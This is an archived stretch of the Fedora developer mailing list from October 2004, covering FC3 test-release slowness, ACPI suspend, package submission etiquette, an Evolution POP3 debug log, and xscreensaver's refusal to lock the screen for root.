<1098033196.4385.8.camel@kyrre> s?n, 17.10.2004 kl. 17.46 skrev Rui Miguel Seabra: > Okay, after the scare subject, I warn: > > 1) installed on a Pentium II, 350Mhz with 128 MB of memory was usable > 2) installed on a Pentium III, 500Mhz laptop with 512 MB of memory was > UNUSABLE > > Get the weird part? Both of them were pretty normal installations. Disks > wiped clean with LVM, SELinux on. > > There were no error messages at all. None whatsoever. > > The laptop in question is a Toshiba Satellite Pro 4280. > > Since my gf needed her computer working, I decided to just try a recent > Ubunto installation. It was way faster than FC2 ever was on it, even > though the desktop is also GNOME 2.8. However, it doesn't include > SELinux or LVM support for / . > > I'd like to go back to FC3 on that laptop when it comes, but I can't > perpetually test it that hard, how can I give more information that > might prevent such weird things to happen again? > > I have free space enough for a parallel installation, but it will never > be the same as a default Workstation... > > Rui I have noticed to. My test box is a 128 MB RAM 500 mhz P3 old deskpro, which was pretty fast under fc3t2 and Suse 9.1. But under fc3t3, fc2, fc1, and rh9 it was (is) slow as... - it seems to be swapping much less efficently. t2 and t3 was with the "as delivered on cd" kernels. What is differce between t2 and t3? what happened? From fedora_devel_list at poczta.fm Sun Oct 17 17:34:21 2004 From: fedora_devel_list at poczta.fm (Dawid Gajownik) Date: Sun, 17 Oct 2004 19:34:21 +0200 Subject: Weird excruciating slowness of FC3t3 In-Reply-To: <1098028004.27114.6.camel@roque> References: <1098028004.27114.6.camel@roque> Message-ID: <4172AD1D.5010302@poczta.fm> 10/17/2004 05:46 PM, Rui Miguel Seabra wrote: > Since my gf needed her computer working, I decided to just try a > recent Ubunto installation. It was way faster than FC2 ever was on > it, even though the desktop is also GNOME 2.8. Talking about Ubuntu... I recently found this page: http://forums.gentoo.org/viewtopic.php?t=226909 I'm courious whether RedHat/Fedora developers were playing with those LDFLAGS... Does it have any drawbacks? -- *_^ ---------------------------------------------------------------------- Startuj z INTERIA.PL!!! >>> http://link.interia.pl/f1837 From notting at redhat.com Sun Oct 17 17:53:13 2004 From: notting at redhat.com (Bill Nottingham) Date: Sun, 17 Oct 2004 13:53:13 -0400 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1098017391.4163.2.camel@kyrre> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> <20041017034034.GA13748@nostromo.devel.redhat.com> <1098017391.4163.2.camel@kyrre> Message-ID: <20041017175313.GA1639@nostromo.devel.redhat.com> Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > Shall do. It is fixed so it will work in final, rigth? It should; testing the rawhide installer would be great. > Can i just copy the i18n file from an fc2 machine? Well, that won't be the same as what it's expected to write, but it should work better. Bill From iago.rubio at hispalinux.es Sun Oct 17 17:59:23 2004 From: iago.rubio at hispalinux.es (Iago Rubio) Date: Sun, 17 Oct 2004 19:59:23 +0200 Subject: contribute a package In-Reply-To: <777aada204101706533fdf6787@mail.gmail.com> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <777aada204101706061a8a3c6a@mail.gmail.com> <20041017152625.37d13687.fedora@wir-sind-cool.org> <777aada204101706533fdf6787@mail.gmail.com> Message-ID: <1098035962.17402.181.camel@speedy.iagorubio.net> On Sun, 2004-10-17 at 15:53, arc_of_descent wrote: > Michael Schwendt wrote: > > Btw, it is extremely bad form to not insert your real name in your > > e-mails and use a pseudonym instead. I know some subscribers on these > > list use fake real names. But if you're serious about getting a > > package included, you should not do that. > > > I don't really see the point here. I'm sure you understand that's easier to trust anybody that tells you his name, than to trust anybody that hides it. > Is it like a pre-condition? To point out your real name? Please read this: http://www.fedora.us/wiki/PackageSubmissionQAPolicy http://www.fedora.us/wiki/SelfIntroduction It's not only polite, but also a - short of - pre-condition. > Not the usefulness of the package? From a packager prespective is as important the application itself, as to trust the application's author. If the packager doesn't know who really is the author, and he hides his identity behind pseudonyms, the packager should not trust him. > Anyways. I don't want to argue now. You're free to do it. In fact you're arguing "I know It was not ok" using a signature with your real name in this post, instead of the "arc_of_descent" signature you used in your previous ones. > Rohan -- Iago Rubio - GPG Keyserv * pgp.rediris.es id=0x909BD4DD -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From i_p_a_u_l at yahoo.com Sun Oct 17 18:12:22 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Sun, 17 Oct 2004 21:12:22 +0300 Subject: ACPI suspend to RAM in FC3T3 Message-ID: Hi, The ACPI support in the recent kernels is improving all the time, so for the first time I was able to suspend to RAM the FC3T3 with the default stock kernel. I was able to do it with echo 3 > /proc/acpi/sleep or echo mem > /sys/power/state. Is any graphical option to suspend from gnome ? I did not find any beside shutdown, restart, logout. There should be at least other two: suspend to ram and suspend to disk(hibernate). From kyrre at solution-forge.net Sun Oct 17 18:59:54 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 20:59:54 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <20041017175313.GA1639@nostromo.devel.redhat.com> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> <20041017034034.GA13748@nostromo.devel.redhat.com> <1098017391.4163.2.camel@kyrre> <20041017175313.GA1639@nostromo.devel.redhat.com> Message-ID: <1098039593.4827.2.camel@kyrre> s?n, 17.10.2004 kl. 19.53 skrev Bill Nottingham: > Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > > Shall do. It is fixed so it will work in final, rigth? > > It should; testing the rawhide installer would be great. > > > Can i just copy the i18n file from an fc2 machine? > > Well, that won't be the same as what it's expected to write, > but it should work better. > Doesn't matter - i got it to work by changing the def. language in the language selection config tool. But: Why is all icons etc. so ?ber-ugly and brown'ish? I think it is what upstream gnome looks like, but i have always liked bluecurve better for a reason... And the volume-meter in the taskbar is bluecurve for some levels and gnome for others... Which package do i need to update? From hp at redhat.com Sun Oct 17 19:09:43 2004 From: hp at redhat.com (Havoc Pennington) Date: Sun, 17 Oct 2004 15:09:43 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: References: Message-ID: <1098040183.4847.199.camel@localhost.localdomain> On Sun, 2004-10-17 at 21:12 +0300, Paul Ionescu wrote: > The ACPI support in the recent kernels is improving all the time, so for > the first time I was able to suspend to RAM the FC3T3 with the default > stock kernel. > I was able to do it with echo 3 > /proc/acpi/sleep or echo mem > > /sys/power/state. > Is any graphical option to suspend from gnome ? I did not find any beside > shutdown, restart, logout. There should be at least other two: suspend to > ram and suspend to disk(hibernate). > I'm arguing that there should be a "suspend" command [1], that does the right thing for apm and acpi, and is consolehelper enabled so regular users at the console can run it. I added a comment to https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121061 suggesting this a while back. Once we have that it's trivial to connect it to the battstat applet right away with only config file changes, and we could pretty easily add it to the logout dialog too with some hacking. Kind of close to the deadline, though I'm honestly pretty disappointed we flunked on fixing this, since it seems pretty much trivial and would be a big usability benefit. Though on laptops in principle we have the "just close the lid" approach which isn't terrible. Havoc [1] however we have to think of a name other than "suspend," unfortunately, since suspend is a bash builtin From kyrre at solution-forge.net Sun Oct 17 19:23:01 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 21:23:01 +0200 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098040183.4847.199.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> Message-ID: <1098040980.4827.6.camel@kyrre> urk... ill be out killi'n if my laptop suspended on me just by closing the lid.... there is a reason most of them has a separate "suspend" button (and a power button (shutdown) and a lid button (monitor)). For instace my laptop chrashes when i try to get it back out of s3... Just imagine. Sombody is writing on an important doc. Then sombody else slams the laptop shut... Ugh... s?n, 17.10.2004 kl. 21.09 skrev Havoc Pennington: > On Sun, 2004-10-17 at 21:12 +0300, Paul Ionescu wrote: > > The ACPI support in the recent kernels is improving all the time, so for > > the first time I was able to suspend to RAM the FC3T3 with the default > > stock kernel. > > I was able to do it with echo 3 > /proc/acpi/sleep or echo mem > > > /sys/power/state. > > Is any graphical option to suspend from gnome ? I did not find any beside > > shutdown, restart, logout. There should be at least other two: suspend to > > ram and suspend to disk(hibernate). > > > > I'm arguing that there should be a "suspend" command [1], that does the > right thing for apm and acpi, and is consolehelper enabled > so regular users at the console can run it. I added a comment to > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121061 suggesting > this a while back. > > Once we have that it's trivial to connect it to the battstat applet > right away with only config file changes, and we could pretty easily add > it to the logout dialog too with some hacking. > > Kind of close to the deadline, though I'm honestly pretty disappointed > we flunked on fixing this, since it seems pretty much trivial and would > be a big usability benefit. Though on laptops in principle we have the > "just close the lid" approach which isn't terrible. > > Havoc > > [1] however we have to think of a name other than "suspend," > unfortunately, since suspend is a bash builtin > From vestby at alfanett.no Sun Oct 17 20:05:45 2004 From: vestby at alfanett.no (Jan Vestby) Date: Sun, 17 Oct 2004 22:05:45 +0200 Subject: Weird excruciating slowness of FC3t3 Message-ID: <200410172205.45283.vestby@alfanett.no> I saw the same on my old toshiba laptop (coppermine, 600MHz with speedstep). The install ran at approximately 1/8 of normal speed according to x86info. However, with the latest kernel (624) everything was back to normal. Most kernels since t2 seem to be affected. regards jan vestby From hp at redhat.com Sun Oct 17 22:02:03 2004 From: hp at redhat.com (Havoc Pennington) Date: Sun, 17 Oct 2004 18:02:03 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098040980.4827.6.camel@kyrre> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> Message-ID: <1098050523.4847.220.camel@localhost.localdomain> On Sun, 2004-10-17 at 21:23 +0200, Kyrre Ness Sjobak wrote: > urk... ill be out killi'n if my laptop suspended on me just by closing > the lid.... there is a reason most of them has a separate "suspend" > button (and a power button (shutdown) and a lid button (monitor)). We've had suspend on lid close forever I think. Seems like even RHL 7.x did this. Of course you can turn it off if you like. > For instace my laptop chrashes when i try to get it back out of s3... > Just imagine. Sombody is writing on an important doc. Then sombody else > slams the laptop shut... Ugh... In any sane universe, the proper fix for that is to avoid crashing on unsuspend ;-) Havoc From nphilipp at redhat.com Sun Oct 17 22:07:51 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Mon, 18 Oct 2004 00:07:51 +0200 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098050523.4847.220.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> <1098050523.4847.220.camel@localhost.localdomain> Message-ID: <1098050871.23453.3.camel@wombat.tiptoe.de> On Sun, 2004-10-17 at 18:02 -0400, Havoc Pennington wrote: > On Sun, 2004-10-17 at 21:23 +0200, Kyrre Ness Sjobak wrote: > > urk... ill be out killi'n if my laptop suspended on me just by closing > > the lid.... there is a reason most of them has a separate "suspend" > > button (and a power button (shutdown) and a lid button (monitor)). > > We've had suspend on lid close forever I think. Seems like even RHL 7.x > did this. Of course you can turn it off if you like. But this wasn't made by the OS, rather by the APM BIOS (I think). > > For instace my laptop chrashes when i try to get it back out of s3... > > Just imagine. Sombody is writing on an important doc. Then sombody else > > slams the laptop shut... Ugh... > > In any sane universe, the proper fix for that is to avoid crashing on > unsuspend ;-) Even if you hate configurability ;-P, this should be made configurable. Sometimes I just want to leave that thing running and still be able to close the lid, e.g. when I use it as a giant Ogg-Player substitute :o). In that case, it would be useful if it DPMSed the screen or something like that, xscreensaver should be temporarily reconfigured to only blank for extra points ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From wtogami at redhat.com Sun Oct 17 22:16:09 2004 From: wtogami at redhat.com (Warren Togami) Date: Sun, 17 Oct 2004 12:16:09 -1000 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098050523.4847.220.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> <1098050523.4847.220.camel@localhost.localdomain> Message-ID: <4172EF29.7050509@redhat.com> Havoc Pennington wrote: > On Sun, 2004-10-17 at 21:23 +0200, Kyrre Ness Sjobak wrote: > >>urk... ill be out killi'n if my laptop suspended on me just by closing >>the lid.... there is a reason most of them has a separate "suspend" >>button (and a power button (shutdown) and a lid button (monitor)). > > > We've had suspend on lid close forever I think. Seems like even RHL 7.x > did this. Of course you can turn it off if you like. > This is hardware specific and done by your BIOS, not the operating system. Warren From i_p_a_u_l at yahoo.com Sun Oct 17 22:32:20 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Mon, 18 Oct 2004 01:32:20 +0300 Subject: Lock screen does not work for root in gnome Message-ID: Hi, I discovered that xscreensaver and lock screen does not work in gnome if the current user is "root". Is this a bug or a "feature" ? And another question, is there an options to change the unlock prompt from xscreensaver ? The default one is UGLY, and does not fit in Gnome desktop. Thanks, From wtogami at redhat.com Sun Oct 17 22:37:57 2004 From: wtogami at redhat.com (Warren Togami) Date: Sun, 17 Oct 2004 12:37:57 -1000 Subject: Lock screen does not work for root in gnome In-Reply-To: References: Message-ID: <4172F445.9010809@redhat.com> Paul Ionescu wrote: > Hi, > > I discovered that xscreensaver and lock screen does not work in gnome if > the current user is "root". > Is this a bug or a "feature" ? > And another question, is there an options to change the unlock prompt from > xscreensaver ? The default one is UGLY, and does not fit in Gnome desktop. > This has NEVER worked for root. It has something to do with xscreensaver not being very secure. In any case you shouldn't be logging in as root anyway. You should use su or sudo when you need root functions. Warren Togami wtogami at redhat.com From louisg00 at bellsouth.net Sun Oct 17 22:38:02 2004 From: louisg00 at bellsouth.net (louisg00 at bellsouth.net) Date: Sun, 17 Oct 2004 18:38:02 -0400 Subject: P Message-ID: <20041017223802.DCON2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> After opening evo and hitting Send/Recieve it hangs trying to get mail from my ISP POP account. This is on rawhide current. Can't seem to enter bugs in bugzilla, with try again tomarrow. $ export CAMEL_VERBOSE_DEBUG=1 $ evolution (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Drafts.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Outbox.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Sent.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC Thread f6a04bb0 > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, '') = uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED full_name: UNMATCHED flags: 0000006a < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, '') = uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED full_name: UNMATCHED flags: 0000006a < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox full_name: Inbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Drafts full_name: Drafts flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Sent full_name: Sent flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Outbox full_name: Outbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Trash full_name: Trash flags: 000000f2 uri: mbox:/home/louisg00/.evolution/mail/local#Junk full_name: Junk flags: 000000f2 < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox full_name: Inbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Drafts full_name: Drafts flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Sent full_name: Sent flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Outbox full_name: Outbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Trash full_name: Trash flags: 000000f2 uri: mbox:/home/louisg00/.evolution/mail/local#Junk full_name: Junk flags: 000000f2 < f6a04bb0 > Thread f5fdabb0 > CamelFolder:get_message('Inbox', '3562') = class: CamelMimeMessage mime-type: text/plain; charset=iso-8859-1 content class: CamelDataWrapper content mime-type: text/plain; charset=iso-8859-1 < f5fdabb0 > POP3_STREAM_LINE(32): '+OK InterMail POP3 server ready.' POP3_STREAM_WRITE(6): CAPA POP3_STREAM_LINE(27): '+OK Capability list follows' Got + response cmd_capa POP3_STREAM_LINE(3): 'TOP' POP3_STREAM_LINE(4): 'USER' POP3_STREAM_LINE(10): 'RESP_CODES' POP3_STREAM_LINE(10): 'PIPELINING' POP3_STREAM_LINE(12): 'EXPIRE NEVER' POP3_STREAM_LINE(4): 'UIDL' POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- 130-110-20040306' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(15): USER louisg00 POP3_STREAM_WRITE(15): PASS xxxxxxxx POP3_STREAM_LINE(28): '+OK please send PASS command' Got + response POP3_STREAM_LINE(28): '+OK louisg00 is welcome here' Got + response POP3_STREAM_WRITE(6): CAPA POP3_STREAM_LINE(27): '+OK Capability list follows' Got + response cmd_capa POP3_STREAM_LINE(3): 'TOP' POP3_STREAM_LINE(4): 'USER' POP3_STREAM_LINE(10): 'RESP_CODES' POP3_STREAM_LINE(10): 'PIPELINING' POP3_STREAM_LINE(12): 'EXPIRE NEVER' POP3_STREAM_LINE(4): 'UIDL' POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- 130-110-20040306' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(6): LIST POP3_STREAM_WRITE(6): UIDL POP3_STREAM_LINE(14): '+OK 3 messages' Got + response POP3_STREAM_LINE(6): '1 3750' POP3_STREAM_LINE(6): '2 3623' POP3_STREAM_LINE(6): '3 1610' POP3_STREAM_LINE(END) POP3_STREAM_LINE(14): '+OK 3 messages' Got + response POP3_STREAM_LINE(41): '1 <1097973346.4378.2.camel at home.gnome.no>' POP3_STREAM_LINE(41): '2 <1097973433.4378.5.camel at home.gnome.no>' POP3_STREAM_LINE(43): '3 <1430611617.20041017164204 at jaydemail.com>' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(8): RETR 1 POP3_STREAM_WRITE(8): RETR 2 POP3_STREAM_WRITE(8): RETR 3 CamelException.setv(0x8738d18, 2, 'Cannot get message <1097973346.4378.2. camel at home.gnome.no>: Input/output error') POP3_STREAM_WRITE(6): QUIT loading error file /usr/share/evolution/2.0/errors/filter-errors.xml loading error file /usr/share/evolution/2.0/errors/mail-composer-errors.xml loading error file /usr/share/evolution/2.0/errors/addressbook-errors.xml loading error file /usr/share/evolution/2.0/errors/e-system-errors.xml loading error file /usr/share/evolution/2.0/errors/shell-errors.xml loading error file /usr/share/evolution/2.0/errors/mail-errors.xml loading error file /usr/share/evolution/2.0/errors/calendar-errors.xml From louisg00 at bellsouth.net Sun Oct 17 22:38:46 2004 From: louisg00 at bellsouth.net (louisg00 at bellsouth.net) Date: Sun, 17 Oct 2004 18:38:46 -0400 Subject: Problems with evolution Message-ID: <20041017223846.DCTR2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> After opening evo and hitting Send/Recieve it hangs trying to get mail from my ISP POP account. This is on rawhide current. Can't seem to enter bugs in bugzilla, with try again tomarrow. $ export CAMEL_VERBOSE_DEBUG=1 $ evolution (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Drafts.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Outbox.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. evolution/mail/local/Sent.ibex.index' (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD (evolution:6348): camel-WARNING **: flags: unSYNC Thread f6a04bb0 > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, '') = uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED full_name: UNMATCHED flags: 0000006a < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, '') = uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED full_name: UNMATCHED flags: 0000006a < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox full_name: Inbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Drafts full_name: Drafts flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Sent full_name: Sent flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Outbox full_name: Outbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Trash full_name: Trash flags: 000000f2 uri: mbox:/home/louisg00/.evolution/mail/local#Junk full_name: Junk flags: 000000f2 < f6a04bb0 > Thread f6a04bb0 > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox full_name: Inbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Drafts full_name: Drafts flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Sent full_name: Sent flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Outbox full_name: Outbox flags: 00000008 uri: mbox:/home/louisg00/.evolution/mail/local#Trash full_name: Trash flags: 000000f2 uri: mbox:/home/louisg00/.evolution/mail/local#Junk full_name: Junk flags: 000000f2 < f6a04bb0 > Thread f5fdabb0 > CamelFolder:get_message('Inbox', '3562') = class: CamelMimeMessage mime-type: text/plain; charset=iso-8859-1 content class: CamelDataWrapper content mime-type: text/plain; charset=iso-8859-1 < f5fdabb0 > POP3_STREAM_LINE(32): '+OK InterMail POP3 server ready.' POP3_STREAM_WRITE(6): CAPA POP3_STREAM_LINE(27): '+OK Capability list follows' Got + response cmd_capa POP3_STREAM_LINE(3): 'TOP' POP3_STREAM_LINE(4): 'USER' POP3_STREAM_LINE(10): 'RESP_CODES' POP3_STREAM_LINE(10): 'PIPELINING' POP3_STREAM_LINE(12): 'EXPIRE NEVER' POP3_STREAM_LINE(4): 'UIDL' POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- 130-110-20040306' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(15): USER louisg00 POP3_STREAM_WRITE(15): PASS xxxxxxxx POP3_STREAM_LINE(28): '+OK please send PASS command' Got + response POP3_STREAM_LINE(28): '+OK louisg00 is welcome here' Got + response POP3_STREAM_WRITE(6): CAPA POP3_STREAM_LINE(27): '+OK Capability list follows' Got + response cmd_capa POP3_STREAM_LINE(3): 'TOP' POP3_STREAM_LINE(4): 'USER' POP3_STREAM_LINE(10): 'RESP_CODES' POP3_STREAM_LINE(10): 'PIPELINING' POP3_STREAM_LINE(12): 'EXPIRE NEVER' POP3_STREAM_LINE(4): 'UIDL' POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- 130-110-20040306' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(6): LIST POP3_STREAM_WRITE(6): UIDL POP3_STREAM_LINE(14): '+OK 3 messages' Got + response POP3_STREAM_LINE(6): '1 3750' POP3_STREAM_LINE(6): '2 3623' POP3_STREAM_LINE(6): '3 1610' POP3_STREAM_LINE(END) POP3_STREAM_LINE(14): '+OK 3 messages' Got + response POP3_STREAM_LINE(41): '1 <1097973346.4378.2.camel at home.gnome.no>' POP3_STREAM_LINE(41): '2 <1097973433.4378.5.camel at home.gnome.no>' POP3_STREAM_LINE(43): '3 <1430611617.20041017164204 at jaydemail.com>' POP3_STREAM_LINE(END) POP3_STREAM_WRITE(8): RETR 1 POP3_STREAM_WRITE(8): RETR 2 POP3_STREAM_WRITE(8): RETR 3 CamelException.setv(0x8738d18, 2, 'Cannot get message <1097973346.4378.2. camel at home.gnome.no>: Input/output error') POP3_STREAM_WRITE(6): QUIT loading error file /usr/share/evolution/2.0/errors/filter-errors.xml loading error file /usr/share/evolution/2.0/errors/mail-composer-errors.xml loading error file /usr/share/evolution/2.0/errors/addressbook-errors.xml loading error file /usr/share/evolution/2.0/errors/e-system-errors.xml loading error file /usr/share/evolution/2.0/errors/shell-errors.xml loading error file /usr/share/evolution/2.0/errors/mail-errors.xml loading error file /usr/share/evolution/2.0/errors/calendar-errors.xml From i_p_a_u_l at yahoo.com Sun Oct 17 22:44:33 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Mon, 18 Oct 2004 01:44:33 +0300 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> Message-ID: On Sun, 17 Oct 2004 12:37:57 -1000, Warren Togami wrote: > This has NEVER worked for root. It has something to do with xscreensaver > not being very secure. In any case you shouldn't be logging in as root > anyway. You should use su or sudo when you need root functions. Well, I know that, but it works fine in KDE. And if somebody insist to log in as root, it is even more dangerous that he cannot lock the screen. From jwz at jwz.org Sun Oct 17 23:02:42 2004 From: jwz at jwz.org (Jamie Zawinski) Date: Sun, 17 Oct 2004 16:02:42 -0700 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> Message-ID: <4172FA12.2CE5F70D@jwz.org> Warren Togami wrote: > > This has NEVER worked for root. It has something to do with > xscreensaver not being very secure. By which you meant, of course, "xscreensaver is behaving securely by refusing to allow you to do something that is inherently insecure." > In any case you shouldn't be logging in as root anyway. You should > use su or sudo when you need root functions. Yes. Paul Ionescu wrote: > > Well, I know that, but it works fine in KDE. Then feel free to use KDE. Just because they made a bad decision does not mean that xscreensaver will ape it. -- Jamie Zawinski jwz at jwz.org http://www.jwz.org/ jwz at dnalounge.com http://www.dnalounge.com/ From terraformers at gmx.net Sun Oct 17 23:16:14 2004 From: terraformers at gmx.net (Lars) Date: Mon, 18 Oct 2004 01:16:14 +0200 Subject: fstab-sync dislikes floppy device Message-ID: hi on latest rawhide fstab-sync removes the floppy device at each reboot here. is there a chance to make it stick in fstab? lars From i_p_a_u_l at yahoo.com Sun Oct 17 23:27:14 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Mon, 18 Oct 2004 02:27:14 +0300 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> Message-ID: Then, I think that "lock screen" and "xscreensaver" should not appear in menu for root if they don't work as root. What is the point to have them in the menu (for root of course), if they don't work ? On Sun, 17 Oct 2004 16:02:42 -0700, Jamie Zawinski wrote: > Warren Togami wrote: >> >> This has NEVER worked for root. It has something to do with >> xscreensaver not being very secure. > > By which you meant, of course, "xscreensaver is behaving securely by > refusing to allow you to do something that is inherently insecure." > >> In any case you shouldn't be logging in as root anyway. You should use >> su or sudo when you need root functions. > > Yes. > > Paul Ionescu wrote: >> >> Well, I know that, but it works fine in KDE. > > Then feel free to use KDE. Just because they made a bad decision does > not mean that xscreensaver will ape it. From strange at nsk.no-ip.org Sun Oct 17 23:33:20 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Mon, 18 Oct 2004 00:33:20 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <4172FA12.2CE5F70D@jwz.org> References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> Message-ID: <20041017233320.GA20829@nsk.no-ip.org> On Sun, Oct 17, 2004 at 04:02:42PM -0700, Jamie Zawinski wrote: > Warren Togami wrote: > > > > This has NEVER worked for root. It has something to do with > > xscreensaver not being very secure. > > By which you meant, of course, "xscreensaver 